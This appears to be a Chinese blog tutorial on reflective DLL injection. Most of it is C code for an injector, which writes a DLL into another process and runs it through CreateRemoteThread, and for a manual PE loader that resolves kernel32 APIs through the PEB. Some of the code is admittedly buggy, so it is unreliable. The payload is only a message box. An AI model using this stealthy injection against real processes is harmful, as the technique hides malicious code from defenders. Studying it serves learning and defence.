感觉反射式注入与普通注入的最大区别就是不加载系统的API去加载我们的文件,也就是不调用Loadlibrary,而是让我们手动实现装载过程,网上的文章说可以在DLL的导出表中添加ReflectiveLoader函数调用它。
由于调用它的时候,不确定DLL文件写到目标进程的哪个虚拟空间上,所以这个编写的函数必须与地址无关,这种代码叫(position-independent code)PIC,暂时理解成在DLL的导出表写入一个函数,这个函数的功能就是PELOADER。
工具
一个注射器和一个被注入的DLL
涉及知识
PEB和TEB,PEloader,dll注入(创建远程线程),函数指针,手动实现strncpy,memmove等。
X64dbg调试
我们需要x64dbg去调试查看函数的调用,内存窗口等查看值是否在里面,这里在文件—附加里面可以附加进程。
然后用vs去附加进程调试
这里可以添加监视,然后复制值到x64dbg里面,就可以实时监视我们的文件在如何被操作。
注射器
大致流程
1.将注入DLL读入自身内存
2.利用VirtualAlloc和WriteProcessMemory在目标进程中写入待注入的DLL文件
3.利用CreateRemoteThread等函数启动目标进程的ReflectiveLoader
一:遍历DLL的导出表
因为我的注射器采用的是以创建远程线程为模板,具体的代码不过多分析,就分析和普通创建远程线程不一样的调用自身函数的地方,前面所说,我们是把类似于PEloader的代码写成一个函数放在DLL文件的导出表当中。
DWORD GetReflectiveLoaderOffset(VOID* lpReflectiveDllBuffer)
{
UINT_PTR BaseAddress = 0;//UINT_PTR是无符号指针
UINT_PTR uiNT = 0;
UINT_PTR uiNameArray = 0;
UINT_PTR uiAddressArray = 0;
UINT_PTR uiNameOrdinals = 0;
DWORD dwCounter = 0;
#ifdef WIN_X64
DWORD dwCompiledArch = 2;
#else
// This will catch Win32 and WinRT.
DWORD dwCompiledArch = 1;
#endif
BaseAddress = (UINT_PTR)lpReflectiveDllBuffer;
uiNT = BaseAddress + ((PIMAGE_DOS_HEADER)BaseAddress)->e_lfanew;
//这里是主要判断当前的位数于dll位数是否一致
if (((PIMAGE_NT_HEADERS)uiNT)->OptionalHeader.Magic == 0x010B) // PE32
{
if (dwCompiledArch != 1)
return 0;
}
else if (((PIMAGE_NT_HEADERS)uiNT)->OptionalHeader.Magic == 0x020B) // PE64
{
if (dwCompiledArch != 2)
return 0;
}
else
{
return 0;
}
//u1NameArray是PE文件导出表的条目索引
uiNameArray = (UINT_PTR) & ((PIMAGE_NT_HEADERS)uiNT)->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_EXPORT];
//uiNT是导出表的地址
uiNT = BaseAddress + RVA(((PIMAGE_DATA_DIRECTORY)uiNameArray)->VirtualAddress, BaseAddress);
//导出表的函数名称数组
uiNameArray = BaseAddress + RVA(((PIMAGE_EXPORT_DIRECTORY)uiNT)->AddressOfNames, BaseAddress);
//导出表的函数地址数组
uiAddressArray = BaseAddress + RVA(((PIMAGE_EXPORT_DIRECTORY)uiNT)->AddressOfFunctions, BaseAddress);
//导出表的名称序号数组
uiNameOrdinals = BaseAddress + RVA(((PIMAGE_EXPORT_DIRECTORY)uiNT)->AddressOfNameOrdinals, BaseAddress);
dwCounter = ((PIMAGE_EXPORT_DIRECTORY)uiNT)->NumberOfNames;
while (dwCounter--)
{
//这就是核心的遍历函数
char* cpExportedFunctionName = (char*)(BaseAddress + RVA(*(DWORD*)(uiNameArray), BaseAddress));
printf("Exported function: %sn", cpExportedFunctionName);
if (strstr(cpExportedFunctionName, "reflectiveinject") != NULL)
{//strstr函数是查找,从核心函数中查找
uiAddressArray = BaseAddress + RVA(((PIMAGE_EXPORT_DIRECTORY)uiNT)->AddressOfFunctions, BaseAddress);
uiAddressArray += (*(WORD*)(uiNameOrdinals) * sizeof(DWORD));
return RVA(*(DWORD*)(uiAddressArray), BaseAddress);
}
uiNameArray += sizeof(DWORD);
uiNameOrdinals += sizeof(WORD);
}
return 0;
}
RVA函数是将虚拟地址RVA转换为文件的偏移量,这里通过遍历导出函数名称表去寻找函数,找到之后返回这个函数的地址的偏移量。
DWORD RVA(DWORD dwRva, UINT_PTR BaseAddress)
{//这个代码是将相对虚拟地址RVA转换成文件的偏移量
WORD wIndex = 0;
PIMAGE_SECTION_HEADER pSectionHeader = NULL;
PIMAGE_NT_HEADERS pNtHeaders = NULL;
pNtHeaders = (PIMAGE_NT_HEADERS)(BaseAddress + ((PIMAGE_DOS_HEADER)BaseAddress)->e_lfanew);
pSectionHeader = (PIMAGE_SECTION_HEADER)((UINT_PTR)(&pNtHeaders->OptionalHeader) + pNtHeaders->FileHeader.SizeOfOptionalHeader);
//这个是找节区头,可选头加上可选头的大小,下一个就是节区表头
//就是查找给的RVA是属于哪个节区,其目的就是找到文件偏移地址
if (dwRva < pSectionHeader[0].PointerToRawData)
return dwRva;
//这是检查dwRva是不是位于文件的头部区域中
for (wIndex = 0; wIndex < pNtHeaders->FileHeader.NumberOfSections; wIndex++)
{
//这就是遍历所有节了,找到dwRva的节
if (dwRva >= pSectionHeader[wIndex].VirtualAddress && dwRva < (pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].SizeOfRawData))
//sizeofrawdata是在文件中对齐的尺寸,这是如果dwRVa在当前节的范围内就找到了
return (dwRva - pSectionHeader[wIndex].VirtualAddress + pSectionHeader[wIndex].PointerToRawData);
//这里的换算是,目的是找到函数的文件偏移地址,这个节区头的相对虚拟地址减去这个节区的相对虚拟地址等于节中的偏移加上文件的起始偏移
}
return 0;
}
二:注入dll
这里就很明显了,先是申请内存装DLL,再把DLL写进去,接下来就是去加载DLL,注意,CreatRemoteThread的第四个参数的强制类型转换是转换成远程函数的入口地址,第五个参数是给函数的参数。
int InjectDllToProcess(HANDLE hProcess, void* dllBuffer, size_t dllSize) {
// 获取 DOS 头部
PIMAGE_DOS_HEADER dosHeader = (PIMAGE_DOS_HEADER)dllBuffer;
if (dosHeader->e_magic != IMAGE_DOS_SIGNATURE) {
printf("Invalid DOS header.n");
return 0;
}
// 获取 NT 头部
PIMAGE_NT_HEADERS ntHeaders = (PIMAGE_NT_HEADERS)((DWORD_PTR)dllBuffer + dosHeader->e_lfanew);
if (ntHeaders->Signature != IMAGE_NT_SIGNATURE) {
printf("Invalid NT header.n");
return 0;
}
//// 获取入口点
//DWORD_PTR entryPoint = (DWORD_PTR)dllBase + ntHeaders->OptionalHeader.AddressOfEntryPoint;
DWORD functionOffest = GetReflectiveLoaderOffset(dllBuffer);
// 在目标进程中分配内存
LPVOID remoteDllBase = VirtualAllocEx(hProcess, NULL, dllSize, MEM_COMMIT | MEM_RESERVE, PAGE_EXECUTE_READWRITE);
if (remoteDllBase == NULL) {
printf("Failed to allocate memory in target process.n");
return 0;
}
// 将 DLL 内容写入目标进程
if (!WriteProcessMemory(hProcess, remoteDllBase, dllBuffer, dllSize, NULL)) {
printf("Failed to write DLL data to target process memory.n");
return 0;
}
LPTHREAD_START_ROUTINE function = (LPTHREAD_START_ROUTINE)((ULONG_PTR)remoteDllBase + functionOffest);
// 创建远程线程执行入口点
HANDLE hThread = CreateRemoteThread(hProcess, NULL, 0, (LPTHREAD_START_ROUTINE)function, remoteDllBase, 0, NULL);
if (hThread == NULL) {
printf("Failed to create remote thread.n");
return 0;
}
}
源码放在最后
DLL的reflectiveinject
一:通过PEB去加载模块的kernerl32DLL
extern "C" _declspec(dllexport) int reflectiveinject(char* Buf) {
int checkPE = 0;
int i = 0;
PIMAGE_DOS_HEADER dosheader = (PIMAGE_DOS_HEADER)Buf;
PIMAGE_NT_HEADERS64 ntheader = (PIMAGE_NT_HEADERS64)((ULONG_PTR)Buf + dosheader->e_lfanew);
if (dosheader->e_magic == IMAGE_DOS_SIGNATURE) {
if (ntheader->Signature == IMAGE_NT_SIGNATURE) {
checkPE = 1;
}
}
if (checkPE == 0) {
//printf("this is not dlln");
return 0;
}
// ULONG_PTR Buf = caller();
// printf("Buf address: %pn", &Buf);
//下面是获取kernerl32address和nt
PVOID peb = (PEB*)__readgsqword(0x60);
if (!peb) {
return FALSE;
}
PVOID LDR = *(PVOID64**)((BYTE*)peb + 0x18);//这个指针遍历加载信息列表peb本身就是一个指针
UNICODE_STRING* fullname;
LIST_ENTRY* list = NULL;//好像是链表节点指针,指向模块列表的当前模块
list = (LIST_ENTRY*)(*(PVOID64**)((BYTE*)LDR + 0x30));//30是指向存储模块名称的偏移
LIST_ENTRY* current = list->Flink;
wchar_t temp[13];
HMODULE kernerl32 = NULL;
wchar_t kerner[13] = L"kernel32.dll";
kerner[0] = L'k';
kerner[1] = L'e';
kerner[2] = L'r';
kerner[3] = L'n';
kerner[4] = L'e';
kerner[5] = L'l';
kerner[6] = L'3';
kerner[7] = L'2';
kerner[8] = L'.';
kerner[9] = L'd';
kerner[10] = L'l';
kerner[11] = L'l';
kerner[12] = L' ';
while (current != list) {
// 获取当前模块的入口
PLDR_DATA_TABLE_ENTRY start = (LDR_DATA_TABLE_ENTRY*)((PCHAR)current - 0x10);
// 检查模块有效性
if (start && start->FullDllName.Buffer) {
WCHAR* buffer = start->FullDllName.Buffer;
WCHAR* zhong = buffer;
WCHAR* jian = NULL;
while (*zhong) {
if (*zhong == L'\') {
jian = zhong + 1;
}
zhong++;
}
if (!jian) {
jian = buffer;
}
int match = 1;
int i = 0;
while (kerner[i] != L' ' || jian[i] != L' ') {
WCHAR currentChar = kerner[i];
WCHAR targetChar = jian[i];
if (targetChar >= L'A' && targetChar <= L'Z') {
targetChar += 32;
}
// 如果字符不匹配,标记不匹配并跳出循环
if (currentChar != targetChar) {
match = 0;
break;
}
i++;
}
// 如果匹配成功,执行相应操作
if (match) {
char* jiancha="find it";
kernerl32 = (HMODULE)start->DllBase; // 获取模块基址
break;
}
}
// 遍历下一个模块
current = current->Flink;
// 如果遍历完所有模块仍未找到匹配,弹出提示
if (!current) {
MessageBoxA(NULL, "can not find the module", "error", MB_OK);
return FALSE;
}
}
二:遍历DLL去寻找导出函数
前面提到的注射器中也要遍历dll找导出函数,不过因为我的这个dll还没有被加载,所以肯定不能直接使用strstr这些函数,以及调用自己的函数(如果想自己写函数可以先加载节区头),这里我一共找了三个函数,这里列举一个。
PIMAGE_DOS_HEADER KDosHeader = (PIMAGE_DOS_HEADER)((BYTE*)kernerl32);
PIMAGE_NT_HEADERS64 Ntheader = (PIMAGE_NT_HEADERS64)((BYTE*)KDosHeader + KDosHeader->e_lfanew);
PIMAGE_EXPORT_DIRECTORY pExportTable = (PIMAGE_EXPORT_DIRECTORY)((BYTE*)KDosHeader + Ntheader->OptionalHeader.DataDirectory[0].VirtualAddress);
ULONG kernernum = pExportTable->NumberOfNames;
WORD* pFunctionOrdinals = (WORD*)((BYTE*)kernerl32 + pExportTable->AddressOfNameOrdinals);
DWORD* pFunctionAddresses = (DWORD*)((BYTE*)kernerl32 + pExportTable->AddressOfFunctions);
DWORD* kfunname = (DWORD*)((BYTE*)KDosHeader + pExportTable->AddressOfNames);
char* kname = NULL;
KVirtualAlloc mymyVirtualAlloc = NULL;
KLoadLibraryA mymyloadlibrary = NULL;
KGetProcAddress mymyGetProcAddress = NULL;
char a2[13] = "";
a2[0] = 'V';
a2[1] = 'i';
a2[2] = 'r';
a2[3] = 't';
a2[4] = 'u';
a2[5] = 'a';
a2[6] = 'l';
a2[7] = 'A';
a2[8] = 'l';
a2[9] = 'l';
a2[10] = 'o';
a2[11] = 'c';
a2[12] = ' ';
PVOID myVirtualAlloc=NULL;
for (int i = 0; i < kernernum; i++) {
kname = (char*)((BYTE*)KDosHeader + kfunname[i]);
(char*):
// 将上一步计算得到的地址转换为 char*,表示这是一个指向 C 风格字符串的指针。
// 函数名在内存中通常以 NULL 结尾,因此可以通过 char* 指针直接读取字符串
int j = 0;//因为这个kname是以
while (a2[j] != ' ') {
if (kname[j] != a2[j]) {
break; // 不匹配则退出
}
j++;
}//调试中发现这个kfunname是一个函数的文件路径
if (j==12) {
// 获取对应的函数地址
DWORD funcOffset = pFunctionAddresses[pFunctionOrdinals[i]];
mymyVirtualAlloc = (KVirtualAlloc)((BYTE*)kernerl32 + funcOffset);
break;
}
}
三:循环加载节区头
//加载完头之后就是循环加载节区了
if (ntheader->OptionalHeader.SectionAlignment < ntheader->OptionalHeader.FileAlignment) {
// printf("the structure may be wrong");
return 0;
}
int num = ntheader->FileHeader.NumberOfSections;
while (num) {
int j = Sectionheader->Misc.VirtualSize % secalign;//原始节区的大小或虚拟大小,第二个参数是节区的对齐要求。就是偏移
if (j != 0) {
j = (Sectionheader->Misc.VirtualSize / secalign) + 1;
}
else {
j = Sectionheader->Misc.VirtualSize / secalign;
}
DWORD dwvirsize = j * Sectionheader->Misc.VirtualSize * secalign;//是不是应该删去一个元素
DWORD realsize = Sectionheader->SizeOfRawData > dwvirsize ? dwvirsize : Sectionheader->SizeOfRawData;
// memmove(pAlloc + Sectionheader->VirtualAddress, (PBYTE)Buf + Sectionheader->PointerToRawData, realsize);
void* st = (pAlloc + Sectionheader->VirtualAddress);
void* sour = (PBYTE)Buf + Sectionheader->PointerToRawData;
if (st < sour) {
for (int i = 0; i <= realsize; i++) {
*((char*)st + i) = *((char*)sour + i);
}
}
else if (st > sour) {
for (int i = realsize; i >= 0; i--) {
*((char*)st + i) = *((char*)sour + i);
}
}
Sectionheader = (PIMAGE_SECTION_HEADER)((PBYTE)Sectionheader + (BYTE)(sizeof(IMAGE_SECTION_HEADER)));
num--;
}
四:循环加载重定位表
PIMAGE_BASE_RELOCATION Basereloc = (PIMAGE_BASE_RELOCATION)(ntheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress + pAlloc);
int sizeofBasereloc = ntheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].Size;
if (ntheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_BASERELOC].VirtualAddress != 0) {
do {
PWORD TypeOffset = (WORD*)((PBYTE)Basereloc + 8);//跳过重定位快的前8个元数据,直接指向重定位块的数据
num = (Basereloc->SizeOfBlock - 8) / 2;//这个每个重定位条目的大小是2字节,这是计算多少个重定位条目
for (int i = 0; i < num; i++) {
WORD type = TypeOffset[i] >> 12;
WORD offset = TypeOffset[i] & 0xFFF;
int differ = 0;
if (type == 3) {
differ = *((DWORD*)(offset + (Basereloc->VirtualAddress) + pAlloc)) - ntheader->OptionalHeader.ImageBase;
int p = (DWORD)pAlloc + differ;
// memmove(pAlloc + offset + Basereloc->VirtualAddress, &p, 4);
void* est = (pAlloc + offset + Basereloc->VirtualAddress);
void* sour = &p;
if (est < sour) {
for (int i = 0; i <= 4; i++) {
*((char*)est + i) = *((char*)sour + i);
}
}
else if (est > sour) {
for (int i = 4; i >= 0; i--) {
*((char*)est + i) = *((char*)sour + i);
}
}
}
}
sizeofBasereloc -= Basereloc->SizeOfBlock;
Basereloc = (PIMAGE_BASE_RELOCATION)((PBYTE)Basereloc + Basereloc->SizeOfBlock);
} while (sizeofBasereloc);
}
五:加载导入表
///导入表的处理
PIMAGE_IMPORT_DESCRIPTOR pImport = (PIMAGE_IMPORT_DESCRIPTOR)(ntheader->OptionalHeader.DataDirectory[IMAGE_DIRECTORY_ENTRY_IMPORT].VirtualAddress + pAlloc);
if (pImport != NULL)
{
while (pImport->Name != NULL)
{
char DLLname[50] = "0";
// strncpy(DLLname, (char*)(pImport->Name + pAlloc), 49);
char* mu = (char*)(pImport->Name + pAlloc);
for (int i = 0; i < 49&&mu[i]!=' '; i++) {
DLLname[i] = mu[i];
}
DLLname[49] = ' ';
HMODULE hProcess = mymyloadlibrary(DLLname);
if (!hProcess)
{
char err[100];
MessageBoxA(NULL, err, "Error", MB_OKCANCEL);
return FALSE;
}
PIMAGE_THUNK_DATA64 pINT = (PIMAGE_THUNK_DATA64)(pImport->OriginalFirstThunk + pAlloc);
PIMAGE_THUNK_DATA64 pIAT = (PIMAGE_THUNK_DATA64)(pImport->FirstThunk + pAlloc);
while ((ULONG_PTR)(pINT->u1.AddressOfData) != NULL)
{
PIMAGE_IMPORT_BY_NAME pFucname = (PIMAGE_IMPORT_BY_NAME)(pINT->u1.AddressOfData + pAlloc);
if (pINT->u1.AddressOfData & IMAGE_ORDINAL_FLAG32)
{
pIAT->u1.AddressOfData = (ULONG_PTR)(mymyGetProcAddress(hProcess, (LPCSTR)(pINT->u1.AddressOfData)));
}
else
{
pIAT->u1.AddressOfData = (ULONG_PTR)(mymyGetProcAddress(hProcess, pFucname->Name));
}
pINT++;
pIAT++;
}
pImport++;
}
}
六:执行main函数
//进入EP执行main函数
ProcMain MMain = NULL;
MMain = (ProcMain)(ntheader->OptionalHeader.AddressOfEntryPoint + (ULONG_PTR)pAlloc);
MMain();
return true;
BOOL APIENTRY DllMain(HMODULE hModule,
DWORD ul_reason_for_call,
LPVOID lpReserved
)
{
MessageBox(NULL, L"SUCCESS", L"great", MB_OK);
//switch (ul_reason_for_call)
//{
//case DLL_PROCESS_ATTACH:
//case DLL_THREAD_ATTACH:
//case DLL_THREAD_DETACH:
//case DLL_PROCESS_DETACH:
// break;
//}
return TRUE;
}
遇到的异常
1.vs自动生成的代码会有错误,想想可能nop掉或者说换个编译器,也有可能是全局变量的问题,这里我们先nop
跳过这个异常执行后面的用户代码再后来看看。
看第一段,代码点进去发现没有什么用,后来才知道 Visual Studio 的MSVC编译器会对类成员函数默认使用__thiscall
调用约定。这是微软编译器的一种特性,特别是当处理 C++ 类成员函数时,this
指针会被隐式传递。
明确了,先学PEB和TEB寻找函数,然后再调用函数去使用,可以详细看看rdi的代码是如何运行的。
2.代码消失
这里如果改了优化,代码块可能会被vs自动识别一些冗余或者大小的代码,所以如果遇到代码突然消失(指的是在x64,ida死活找不到代码的时候),先看看这个吧。我这里消失了因为我改优化成了一些最大优化。
3.局部变量异常
这种定义因为会在下面里面继续用,所以不要放在循环里面去定义它,不然会只是一个局部变量,就会是一个空指针。
4.强转错误
请注意一些32位和64位的区别。
-
基础字符类型
-
类型 |
定义 |
说明 |
|
单字节字符 |
用于表示 ANSI 或 ASCII 字符。 |
|
宽字符(2 字节/4 字节) |
用于表示 Unicode 字符(Windows 下为 UTF-16)。 |
|
宏定义的字符类型 |
根据字符集(ANSI/Unicode)选择 |
2. 字符串指针类型
类型 |
定义 |
说明 |
|
|
指向普通字符串( )。 |
|
|
指向常量普通字符串( )。 |
|
|
指向宽字符字符串( )。 |
|
|
指向常量宽字符字符串( )。 |
|
|
指向 字符串。 |
|
|
指向常量 字符串 |
5.位数错误
int differ = *((DWORD*)(offset + (Basereloc->VirtualAddress) + pAlloc)) - ntheader->OptionalHeader.ImageBase;
int p = (DWORD)pAlloc + differ;
◆使用的是DWORD
(32 位无符号整数)作为地址计算和存储数据。
◆问题:如果运行在 64 位程序中,DWORD
不足以表示完整的 64 位地址,这可能导致重定位出错。
◆应该是 ULONG_PTR 可能会更好,但是这个也可以
◆32 位平台:ULONG_PTR
定义为一个 32 位的无符号整数(通常是unsigned long
)。
◆64 位平台:ULONG_PTR
定义为一个 64 位的无符号整数(通常是unsigned long long
或unsigned __int64
)。
|
适用于存储状态码、32 位整数等。 |
在 64 位程序中不能表示完整指针或地址,需用 替代。 |
|
适合跨平台存储指针、地址或大小。 |
无明显不足,是处理跨平台指针数据的最佳选择。 |
|
用于内存分配或大小计算。 |
同 ,但更专注于大小而非指针。 |
ASCII 和 Unicode 的对比表
Unicode和宽字符匹配,一般一起用,windowsAPI要求使用的都是宽字符。
特性 |
ASCII |
Unicode |
字符范围 |
0~127 或 0~255 |
0~1,114,111 |
存储方式 |
1 字节 |
UTF-8: 1~4 字节 |
支持语言 |
仅支持英语等基本符号 |
支持几乎所有语言和符号 |
是否向下兼容 |
无 |
向下兼容 ASCII |
主要用途 |
英文字符和控制符 |
全球化应用,适配多语言系统 |
手动实现memcpy:
cpp
复制代码
void* est = (pAlloc + offset + Basereloc->VirtualAddress);
void* sour = &p;
if (est < sour) {
for (int i = 0; i <= 4; i++) {
*((char*)est + i) = *((char*)sour + i);
}
} else if (est > sour) {
for (int i = 4; i >= 0; i--) {
*((char*)est + i) = *((char*)sour + i);
}
}
◆手动实现了类似memcpy
的功能,但逐字节复制,分成了从前向后和从后向前两种情况。
◆问题:代码显得冗长,且对于 64 位程序不支持8 字节
地址字段
◆使用简单的循环逐字节复制,但没有处理8 字节
地址的情况。
◆如果是 64 位程序,代码仍需调整以支持ULONG_PTR
的完整长度。。
手动实现strncpy
char *strncpy(char *dest, const char *src, size_t n);
如果源字符串的长度小于n
,那么目标数组的剩余部分会用' '
填充,确保目标字符串是正确的 C 字符串(以
评论